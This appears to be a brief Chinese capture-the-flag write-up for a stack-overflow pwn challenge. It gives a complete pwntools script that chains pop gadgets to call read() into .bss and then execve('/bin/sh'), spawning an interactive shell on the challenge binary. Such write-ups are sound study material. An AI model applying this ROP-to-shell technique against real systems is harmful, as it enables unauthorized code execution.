image-20231118193434097

image-20231118193450434

啥也没有

正常的syscall 只需要找到pop_rax pop_rdx pop_rsi pop_rdi 然后写参数进去就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
context(
terminal=["wt.exe","wsl"],
os = "linux",
#arch = "amd64",
arch = "i386",
log_level="debug",
)

elf = ELF("./pwn")
io = process("./pwn")
#io = remote("node5.anna.nssctf.cn",28929)
def debug():
gdb.attach(io)
pause()
debug()
offset = 0x50+0x8
sys_ret = 0x4012CC
pop_rax = 0x4012c4
pop_rdx = 0x00000000004012ca
pop_rsi = 0x00000000004012c8
pop_rdi = 0x00000000004012c6
bss_addr = elf.bss()
payload = cyclic(offset)
payload += p64(pop_rax)+p64(0)
payload += p64(pop_rdi)+p64(0)
payload += p64(pop_rsi)+p64(bss_addr)
payload += p64(pop_rdx)+p64(0x10)+p64(sys_ret)

payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdx)+ p64(0)
payload += p64(pop_rsi)+ p64(0)
payload += p64(pop_rdi)+p64(bss_addr)
payload += p64(sys_ret)
io.sendline(payload)
io.recvuntil('orw and syscall?')
bin_sh = '/bin/sh\x00'
io.sendline(bin_sh)
io.interactive()